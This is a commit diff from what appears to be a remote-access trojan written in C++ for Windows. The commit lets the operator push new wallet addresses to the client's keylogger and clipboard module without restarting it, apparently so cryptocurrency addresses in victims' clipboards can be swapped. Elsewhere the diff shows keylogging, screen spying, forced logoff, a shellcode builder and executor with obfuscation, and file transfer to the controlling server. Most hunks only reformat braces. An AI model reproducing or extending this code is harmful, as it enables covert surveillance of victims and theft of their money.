fix: No need to restart client to update wallet address
This commit is contained in:
@@ -171,11 +171,13 @@ public:
|
||||
m_nHostPort = uPort;
|
||||
}
|
||||
|
||||
std::string ServerIP() const {
|
||||
std::string ServerIP() const
|
||||
{
|
||||
return m_sCurIP;
|
||||
}
|
||||
|
||||
int ServerPort() const {
|
||||
int ServerPort() const
|
||||
{
|
||||
return m_nHostPort;
|
||||
}
|
||||
|
||||
|
||||
@@ -365,7 +365,8 @@ BOOL IsRunningAsAdmin()
|
||||
return isAdmin;
|
||||
}
|
||||
|
||||
bool EnableShutdownPrivilege() {
|
||||
bool EnableShutdownPrivilege()
|
||||
{
|
||||
HANDLE hToken;
|
||||
TOKEN_PRIVILEGES tkp;
|
||||
|
||||
@@ -411,8 +412,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
Mprintf("收到机器管理命令: %d, %d\n", szBuffer[0], szBuffer[1]);
|
||||
break;
|
||||
#endif
|
||||
switch (szBuffer[1])
|
||||
{
|
||||
switch (szBuffer[1]) {
|
||||
case MACHINE_LOGOUT: {
|
||||
ExitWindowsEx(EWX_LOGOFF | EWX_FORCE, 0);
|
||||
break;
|
||||
@@ -583,9 +583,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case CMD_MASTERSETTING:
|
||||
if (ulLength > sizeof(MasterSettings)) {
|
||||
memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings));
|
||||
// Remark 打开键盘记录或下一次启动客户端才会生效
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
|
||||
CManager* pMgr = (CManager*)m_hKeyboard->user;
|
||||
if (pMgr) {
|
||||
pMgr->UpdateWallet(m_settings.WalletAddress);
|
||||
}
|
||||
}
|
||||
break;
|
||||
case COMMAND_KEYBOARD: { //键盘记录
|
||||
|
||||
@@ -80,6 +80,13 @@ void CKeyboardManager1::Notify()
|
||||
WaitForDialogOpen();
|
||||
}
|
||||
|
||||
void CKeyboardManager1::UpdateWallet(const std::string& wallet)
|
||||
{
|
||||
m_mu.Lock();
|
||||
m_Wallet = StringToVector(wallet, ';', MAX_WALLET_NUM);
|
||||
m_mu.Unlock();
|
||||
}
|
||||
|
||||
void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
||||
{
|
||||
if (lpBuffer[0] == COMMAND_NEXT)
|
||||
|
||||
@@ -228,6 +228,7 @@ public:
|
||||
CKeyboardManager1(IOCPClient*pClient, int offline, void* user=NULL);
|
||||
virtual ~CKeyboardManager1();
|
||||
virtual void Notify();
|
||||
virtual void UpdateWallet(const std::string& wallet);
|
||||
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
||||
static DWORD WINAPI Clipboard(LPVOID lparam);
|
||||
static DWORD WINAPI KeyLogger(LPVOID lparam);
|
||||
|
||||
@@ -262,14 +262,14 @@ std::string GetCurrentExeVersion()
|
||||
}
|
||||
|
||||
|
||||
std::string GetCurrentUserNameA() {
|
||||
std::string GetCurrentUserNameA()
|
||||
{
|
||||
char username[256];
|
||||
DWORD size = sizeof(username);
|
||||
|
||||
if (GetUserNameA(username, &size)) {
|
||||
return std::string(username);
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
@@ -53,6 +53,7 @@ public:
|
||||
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
||||
}
|
||||
virtual void Notify() { }
|
||||
virtual void UpdateWallet(const std::string &wallet) { }
|
||||
BOOL Send(LPBYTE lpData, UINT nSize);
|
||||
BOOL SendData(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
|
||||
@@ -30,16 +30,30 @@
|
||||
#pragma comment(lib, "FileUpload_Libx64.lib")
|
||||
#endif
|
||||
#else
|
||||
int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs) { return 0; }
|
||||
int UninitFileUpload() { return 0; }
|
||||
std::vector<std::string> GetClipboardFiles() { return{}; }
|
||||
bool GetCurrentFolderPath(std::string& outDir) { return false; }
|
||||
int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
int UninitFileUpload()
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
std::vector<std::string> GetClipboardFiles()
|
||||
{
|
||||
return{};
|
||||
}
|
||||
bool GetCurrentFolderPath(std::string& outDir)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
|
||||
void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac) {
|
||||
void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac)
|
||||
{
|
||||
finish(user);
|
||||
return 0;
|
||||
}
|
||||
int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac) {
|
||||
int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
@@ -311,7 +325,8 @@ CScreenManager::~CScreenManager()
|
||||
m_ScreenSpyObject = NULL;
|
||||
}
|
||||
|
||||
void RunFileReceiver(CScreenManager *mgr, const std::string &folder) {
|
||||
void RunFileReceiver(CScreenManager *mgr, const std::string &folder)
|
||||
{
|
||||
auto start = time(0);
|
||||
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
|
||||
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn->GetHeaderEncType());
|
||||
@@ -327,7 +342,8 @@ void RunFileReceiver(CScreenManager *mgr, const std::string &folder) {
|
||||
Mprintf("Leave thread RunFileReceiver: %d. Cost: %d s\n", GetCurrentThreadId(), time(0)-start);
|
||||
}
|
||||
|
||||
bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size) {
|
||||
bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size)
|
||||
{
|
||||
IOCPClient* pClient = (IOCPClient*)user;
|
||||
if (!pClient->IsConnected() || !pClient->Send2Server((char*)data, size)) {
|
||||
return false;
|
||||
@@ -335,17 +351,20 @@ bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size) {
|
||||
return true;
|
||||
}
|
||||
|
||||
void RecvData(void* ptr) {
|
||||
void RecvData(void* ptr)
|
||||
{
|
||||
FileChunkPacket* pkt = (FileChunkPacket*)ptr;
|
||||
}
|
||||
|
||||
void delay_destroy(IOCPClient* pClient, int sec) {
|
||||
void delay_destroy(IOCPClient* pClient, int sec)
|
||||
{
|
||||
if (!pClient) return;
|
||||
Sleep(sec * 1000);
|
||||
delete pClient;
|
||||
}
|
||||
|
||||
void FinishSend(void* user) {
|
||||
void FinishSend(void* user)
|
||||
{
|
||||
IOCPClient* pClient = (IOCPClient*)user;
|
||||
std::thread(delay_destroy, pClient, 15).detach();
|
||||
}
|
||||
@@ -373,8 +392,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
case COMMAND_SCREEN_GET_CLIPBOARD: {
|
||||
auto files = GetClipboardFiles();
|
||||
if (!files.empty())
|
||||
{
|
||||
if (!files.empty()) {
|
||||
char h[100] = {};
|
||||
memcpy(h, szBuffer + 1, ulLength - 1);
|
||||
m_hash = std::string(h, h + 64);
|
||||
@@ -398,8 +416,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
m_hash = std::string(h, h + 64);
|
||||
m_hmac = std::string(h + 64, h + 80);
|
||||
|
||||
if (OpenClipboard(nullptr))
|
||||
{
|
||||
if (OpenClipboard(nullptr)) {
|
||||
EmptyClipboard();
|
||||
CloseClipboard();
|
||||
}
|
||||
@@ -416,8 +433,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
||||
std::thread(FileBatchTransferWorker, files, dir, pClient, ::SendData, ::FinishSend,
|
||||
m_hash, m_hmac).detach();
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
delete pClient;
|
||||
}
|
||||
}
|
||||
@@ -444,8 +460,7 @@ VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
|
||||
if (hGlobal != NULL) {
|
||||
|
||||
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
|
||||
if (szClipboardVirtualAddress == NULL)
|
||||
{
|
||||
if (szClipboardVirtualAddress == NULL) {
|
||||
GlobalFree(hGlobal);
|
||||
CloseClipboard();
|
||||
return;
|
||||
|
||||
@@ -48,7 +48,8 @@ public:
|
||||
std::string m_hash;
|
||||
std::string m_hmac;
|
||||
CONNECT_ADDRESS *m_conn = nullptr;
|
||||
void SetConnection(CONNECT_ADDRESS* conn){
|
||||
void SetConnection(CONNECT_ADDRESS* conn)
|
||||
{
|
||||
m_conn = conn;
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
@@ -91,7 +91,8 @@ int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool WriteRegistryString(const char* path, const char* keyName, const char* value) {
|
||||
bool WriteRegistryString(const char* path, const char* keyName, const char* value)
|
||||
{
|
||||
HKEY hKey;
|
||||
LONG result = RegCreateKeyExA(HKEY_CURRENT_USER,path,0,NULL,0,KEY_WRITE,NULL,&hKey,NULL);
|
||||
if (result != ERROR_SUCCESS) {
|
||||
@@ -126,7 +127,8 @@ char* ReadRegistryString(const char* subKey, const char* valueName)
|
||||
return data;
|
||||
}
|
||||
|
||||
bool WriteAppSettingBinary(const char* path, const char* keyName, const void* data, DWORD dataSize) {
|
||||
bool WriteAppSettingBinary(const char* path, const char* keyName, const void* data, DWORD dataSize)
|
||||
{
|
||||
HKEY hKey;
|
||||
LONG result = RegCreateKeyExA(HKEY_CURRENT_USER,path,0,NULL,0,KEY_WRITE,NULL,&hKey,NULL);
|
||||
if (result != ERROR_SUCCESS) {
|
||||
@@ -138,7 +140,8 @@ bool WriteAppSettingBinary(const char* path, const char* keyName, const void* da
|
||||
return result == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
bool ReadAppSettingBinary(const char* path, const char* keyName, BYTE* outDataBuf, DWORD* dataSize) {
|
||||
bool ReadAppSettingBinary(const char* path, const char* keyName, BYTE* outDataBuf, DWORD* dataSize)
|
||||
{
|
||||
HKEY hKey;
|
||||
LONG result = RegOpenKeyExA(HKEY_CURRENT_USER,path,0,KEY_READ,&hKey);
|
||||
if (result != ERROR_SUCCESS) {
|
||||
@@ -167,7 +170,8 @@ bool ReadAppSettingBinary(const char* path, const char* keyName, BYTE* outDataBu
|
||||
}
|
||||
|
||||
#define MD5_DIGEST_LENGTH 16
|
||||
const char* CalcMD5FromBytes(const BYTE* data, DWORD length) {
|
||||
const char* CalcMD5FromBytes(const BYTE* data, DWORD length)
|
||||
{
|
||||
static char md5String[MD5_DIGEST_LENGTH * 2 + 1]; // 32 hex chars + '\0'
|
||||
if (data == NULL || length == 0) {
|
||||
memset(md5String, 0, sizeof(md5String));
|
||||
|
||||
@@ -4,8 +4,7 @@
|
||||
#include <vector>
|
||||
|
||||
#pragma pack(push, 1)
|
||||
struct FileChunkPacket
|
||||
{
|
||||
struct FileChunkPacket {
|
||||
unsigned char cmd; // COMMAND_SEND_FILE
|
||||
uint32_t fileIndex; // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
uint32_t totalNum; // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
@@ -5,7 +5,8 @@
|
||||
#include <stddef.h>
|
||||
#pragma once
|
||||
|
||||
class ObfsBase {
|
||||
class ObfsBase
|
||||
{
|
||||
public:
|
||||
bool m_bGenCArray;
|
||||
ObfsBase(bool genCArray = true) : m_bGenCArray(genCArray) { }
|
||||
@@ -17,12 +18,14 @@ public:
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD>෴
|
||||
virtual void DeobfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) {}
|
||||
|
||||
virtual bool WriteFile(const char* filename, uint8_t* data, size_t length, const char* arrayName) {
|
||||
virtual bool WriteFile(const char* filename, uint8_t* data, size_t length, const char* arrayName)
|
||||
{
|
||||
return m_bGenCArray ? WriteBinaryAsCArray(filename, data, length, arrayName) : WriteBinaryFile(filename, data, length);
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> C <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽд<CABD><D0B4><EFBFBD>ļ<EFBFBD>
|
||||
virtual bool WriteBinaryAsCArray(const char* filename, uint8_t* data, size_t length, const char* arrayName) {
|
||||
virtual bool WriteBinaryAsCArray(const char* filename, uint8_t* data, size_t length, const char* arrayName)
|
||||
{
|
||||
FILE* file = fopen(filename, "w");
|
||||
if (!file) return false;
|
||||
|
||||
@@ -42,7 +45,8 @@ public:
|
||||
}
|
||||
|
||||
// ʹ<><CAB9> "wb" <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4>ģʽ
|
||||
virtual bool WriteBinaryFile(const char* filename, const uint8_t* data, size_t length) {
|
||||
virtual bool WriteBinaryFile(const char* filename, const uint8_t* data, size_t length)
|
||||
{
|
||||
FILE* file = fopen(filename, "wb");
|
||||
if (!file) return false;
|
||||
|
||||
@@ -53,15 +57,18 @@ public:
|
||||
}
|
||||
};
|
||||
|
||||
class Obfs : public ObfsBase {
|
||||
class Obfs : public ObfsBase
|
||||
{
|
||||
private:
|
||||
// <20><><EFBFBD><EFBFBD>8λ<38><CEBB><EFBFBD><EFBFBD>
|
||||
static inline uint8_t rol8(uint8_t val, int shift) {
|
||||
static inline uint8_t rol8(uint8_t val, int shift)
|
||||
{
|
||||
return (val << shift) | (val >> (8 - shift));
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>8λ<38><CEBB><EFBFBD><EFBFBD>
|
||||
static inline uint8_t ror8(uint8_t val, int shift) {
|
||||
static inline uint8_t ror8(uint8_t val, int shift)
|
||||
{
|
||||
return (val >> shift) | (val << (8 - shift));
|
||||
}
|
||||
|
||||
@@ -69,7 +76,8 @@ public:
|
||||
Obfs(bool genCArray = true) : ObfsBase(genCArray) { }
|
||||
|
||||
// <20>Գƻ<D4B3><C6BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڼ<EFBFBD><DABC>ܺͽ<DCBA><CDBD><EFBFBD>
|
||||
virtual void ObfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) {
|
||||
virtual void ObfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed)
|
||||
{
|
||||
uint32_t state = seed;
|
||||
|
||||
for (size_t i = 0; i < len; ++i) {
|
||||
@@ -80,7 +88,8 @@ public:
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD>෴
|
||||
virtual void DeobfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) {
|
||||
virtual void DeobfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed)
|
||||
{
|
||||
uint32_t state = seed;
|
||||
|
||||
for (size_t i = 0; i < len; ++i) {
|
||||
|
||||
Binary file not shown.
@@ -1133,11 +1133,13 @@ DWORD WINAPI CMy2015RemoteDlg::StartFrpClient(LPVOID param)
|
||||
int usingFRP = 0;
|
||||
#ifdef _WIN64
|
||||
usingFRP = ip.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
|
||||
#endif
|
||||
if (!usingFRP) {
|
||||
#else
|
||||
CloseHandle(This->m_hFRPThread);
|
||||
This->m_hFRPThread = NULL;
|
||||
return 0x20250820;
|
||||
#endif
|
||||
if (usingFRP) {
|
||||
This->m_frpStatus = STATUS_RUN;
|
||||
}
|
||||
|
||||
Mprintf("[FRP] Proxy thread start running\n");
|
||||
@@ -2056,7 +2058,8 @@ std::string getDateStr(int daysOffset = 0)
|
||||
return oss.str();
|
||||
}
|
||||
|
||||
bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size) {
|
||||
bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size)
|
||||
{
|
||||
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
|
||||
if (!ctx->Send2Client(data, size)) {
|
||||
return false;
|
||||
@@ -2064,17 +2067,20 @@ bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size) {
|
||||
return true;
|
||||
}
|
||||
|
||||
void RecvData(void* ptr) {
|
||||
void RecvData(void* ptr)
|
||||
{
|
||||
FileChunkPacket* pkt = (FileChunkPacket*)ptr;
|
||||
}
|
||||
|
||||
void delay_cancel(CONTEXT_OBJECT* ctx, int sec) {
|
||||
void delay_cancel(CONTEXT_OBJECT* ctx, int sec)
|
||||
{
|
||||
if (!ctx) return;
|
||||
Sleep(sec*1000);
|
||||
ctx->CancelIO();
|
||||
}
|
||||
|
||||
void FinishSend(void* user) {
|
||||
void FinishSend(void* user)
|
||||
{
|
||||
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
|
||||
// 需要等待客户端接收完成方可关闭
|
||||
std::thread(delay_cancel, ctx, 15).detach();
|
||||
@@ -2433,7 +2439,8 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx)
|
||||
}
|
||||
}
|
||||
|
||||
bool isAllZeros(const BYTE* data, int len) {
|
||||
bool isAllZeros(const BYTE* data, int len)
|
||||
{
|
||||
for (int i = 0; i < len; ++i)
|
||||
if (data[i])
|
||||
return false;
|
||||
@@ -3157,12 +3164,12 @@ void CMy2015RemoteDlg::OnToolInputPassword()
|
||||
}
|
||||
}
|
||||
|
||||
bool safe_exec(void *exec) {
|
||||
bool safe_exec(void *exec)
|
||||
{
|
||||
__try {
|
||||
((void(*)())exec)();
|
||||
return true;
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
} __except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
VirtualFree(exec, 0, MEM_RELEASE);
|
||||
}
|
||||
return false;
|
||||
@@ -3184,14 +3191,14 @@ int main() {
|
||||
}
|
||||
*/
|
||||
#include "common/obfs.h"
|
||||
void shellcode_process(ObfsBase *obfs, bool load = false, const char* suffix = ".c") {
|
||||
void shellcode_process(ObfsBase *obfs, bool load = false, const char* suffix = ".c")
|
||||
{
|
||||
CFileDialog fileDlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
|
||||
_T("DLL Files (*.dll)|*.dll|BIN Files (*.bin)|*.bin|All Files (*.*)|*.*||"), AfxGetMainWnd());
|
||||
int ret = 0;
|
||||
try {
|
||||
ret = fileDlg.DoModal();
|
||||
}
|
||||
catch (...) {
|
||||
} catch (...) {
|
||||
AfxMessageBox("文件对话框未成功打开! 请稍后再试。", MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
@@ -3218,13 +3225,11 @@ void shellcode_process(ObfsBase *obfs, bool load = false, const char* suffix = "
|
||||
memcpy(exec, szBuffer, dwFileSize);
|
||||
if (safe_exec(exec)) {
|
||||
AfxMessageBox("Shellcode 执行成功! ", MB_ICONINFORMATION);
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
AfxMessageBox("Shellcode 执行失败! 请用本程序生成的 bin 文件进行测试! ", MB_ICONERROR);
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize)) {
|
||||
} else if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize)) {
|
||||
TCHAR buffer[MAX_PATH];
|
||||
_tcscpy_s(buffer, name);
|
||||
PathRemoveExtension(buffer);
|
||||
@@ -3504,7 +3509,8 @@ void CMy2015RemoteDlg::OnOnlineRegroup()
|
||||
}
|
||||
|
||||
|
||||
void CMy2015RemoteDlg::MachineManage(MachineCommand type) {
|
||||
void CMy2015RemoteDlg::MachineManage(MachineCommand type)
|
||||
{
|
||||
if (MessageBoxA("此操作需客户端具有管理员权限,确定继续吗? ", "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
|
||||
EnterCriticalSection(&m_cs);
|
||||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||
@@ -3550,8 +3556,7 @@ void CMy2015RemoteDlg::OnExecuteUpload()
|
||||
|
||||
void CMy2015RemoteDlg::OnDestroy()
|
||||
{
|
||||
if (g_hKeyboardHook)
|
||||
{
|
||||
if (g_hKeyboardHook) {
|
||||
UnhookWindowsHookEx(g_hKeyboardHook);
|
||||
g_hKeyboardHook = NULL;
|
||||
}
|
||||
@@ -3568,7 +3573,10 @@ CString GetClipboardText()
|
||||
HANDLE hData = GetClipboardData(CF_TEXT);
|
||||
#endif
|
||||
|
||||
if (!hData) { CloseClipboard(); return _T(""); }
|
||||
if (!hData) {
|
||||
CloseClipboard();
|
||||
return _T("");
|
||||
}
|
||||
|
||||
#ifdef UNICODE
|
||||
wchar_t* pszText = static_cast<wchar_t*>(GlobalLock(hData));
|
||||
@@ -3616,7 +3624,8 @@ CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(HWND hWnd)
|
||||
return ret;
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd) {
|
||||
void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
m_RemoteWnds.erase(wnd);
|
||||
LeaveCriticalSection(&m_cs);
|
||||
@@ -3624,15 +3633,13 @@ void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd) {
|
||||
|
||||
LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
if (nCode == HC_ACTION)
|
||||
{
|
||||
if (nCode == HC_ACTION) {
|
||||
do {
|
||||
static CDialogBase* operateWnd = nullptr;
|
||||
KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;
|
||||
|
||||
// 只在按下时处理
|
||||
if (wParam == WM_KEYDOWN)
|
||||
{
|
||||
if (wParam == WM_KEYDOWN) {
|
||||
// 检测 Ctrl+C / Ctrl+X
|
||||
if ((GetAsyncKeyState(VK_CONTROL) & 0x8000) && (pKey->vkCode == 'C' || pKey->vkCode == 'X')) {
|
||||
HWND hFore = ::GetForegroundWindow();
|
||||
@@ -3641,12 +3648,10 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
|
||||
g_2015RemoteDlg->m_pActiveSession = nullptr;
|
||||
}
|
||||
// 检测 Ctrl+V
|
||||
else if ((GetAsyncKeyState(VK_CONTROL) & 0x8000) && pKey->vkCode == 'V')
|
||||
{
|
||||
else if ((GetAsyncKeyState(VK_CONTROL) & 0x8000) && pKey->vkCode == 'V') {
|
||||
HWND hFore = ::GetForegroundWindow();
|
||||
CDialogBase* dlg = g_2015RemoteDlg->GetRemoteWindow(hFore);
|
||||
if (dlg)
|
||||
{
|
||||
if (dlg) {
|
||||
if (dlg == operateWnd)break;
|
||||
auto screen = (CScreenSpyDlg*)dlg;
|
||||
if (!screen->m_bIsCtrl) {
|
||||
@@ -3655,17 +3660,14 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
|
||||
}
|
||||
// [1] 本地 -> 远程
|
||||
auto files = GetClipboardFiles();
|
||||
if (!files.empty())
|
||||
{
|
||||
if (!files.empty()) {
|
||||
// 获取远程目录
|
||||
BYTE szBuffer[100] = { COMMAND_GET_FOLDER };
|
||||
std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
|
||||
memcpy((char*)szBuffer + 1, masterId.c_str(), masterId.length());
|
||||
memcpy((char*)szBuffer + 1 + masterId.length(), hmac.c_str(), hmac.length());
|
||||
dlg->m_ContextObject->Send2Client(szBuffer, sizeof(szBuffer));
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
CString strText = GetClipboardText();
|
||||
if (!strText.IsEmpty()) {
|
||||
BYTE* szBuffer = new BYTE[strText.GetLength() + 1];
|
||||
@@ -3676,9 +3678,7 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (g_2015RemoteDlg->m_pActiveSession && operateWnd)
|
||||
{
|
||||
} else if (g_2015RemoteDlg->m_pActiveSession && operateWnd) {
|
||||
auto screen = (CScreenSpyDlg*)(g_2015RemoteDlg->m_pActiveSession);
|
||||
if (!screen->m_bIsCtrl) {
|
||||
Mprintf("【Ctrl+V】 [远程 -> 本地] 窗口不是控制状态: %s\n", screen->m_IPAddress);
|
||||
@@ -3691,17 +3691,14 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
|
||||
memcpy((char*)bToken + 1 + masterId.length(), hmac.c_str(), hmac.length());
|
||||
auto files = GetClipboardFiles();
|
||||
if (!files.empty()) {
|
||||
if (::OpenClipboard(nullptr))
|
||||
{
|
||||
if (::OpenClipboard(nullptr)) {
|
||||
EmptyClipboard();
|
||||
CloseClipboard();
|
||||
}
|
||||
}
|
||||
g_2015RemoteDlg->m_pActiveSession->m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
Mprintf("【Ctrl+V】 从远程拷贝到本地 \n");
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
Mprintf("[Ctrl+V] 没有活动的远程桌面会话 \n");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -246,7 +246,7 @@ public:
|
||||
STATUS_EXIT = 2,
|
||||
};
|
||||
HANDLE m_hFRPThread = NULL;
|
||||
int m_frpStatus = STATUS_RUN;
|
||||
int m_frpStatus = STATUS_UNKNOWN;
|
||||
static DWORD WINAPI StartFrpClient(LPVOID param);
|
||||
void ApplyFrpSettings();
|
||||
bool CheckValid(int trail = 14);
|
||||
|
||||
@@ -39,16 +39,30 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
||||
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
|
||||
#endif
|
||||
#else
|
||||
int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs) { return 0; }
|
||||
int UninitFileUpload() { return 0; }
|
||||
std::vector<std::string> GetClipboardFiles() { return{}; }
|
||||
bool GetCurrentFolderPath(std::string& outDir) { return false; }
|
||||
int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
int UninitFileUpload()
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
std::vector<std::string> GetClipboardFiles()
|
||||
{
|
||||
return{};
|
||||
}
|
||||
bool GetCurrentFolderPath(std::string& outDir)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
|
||||
void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac) {
|
||||
void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac)
|
||||
{
|
||||
finish(user);
|
||||
return 0;
|
||||
}
|
||||
int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac) {
|
||||
int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user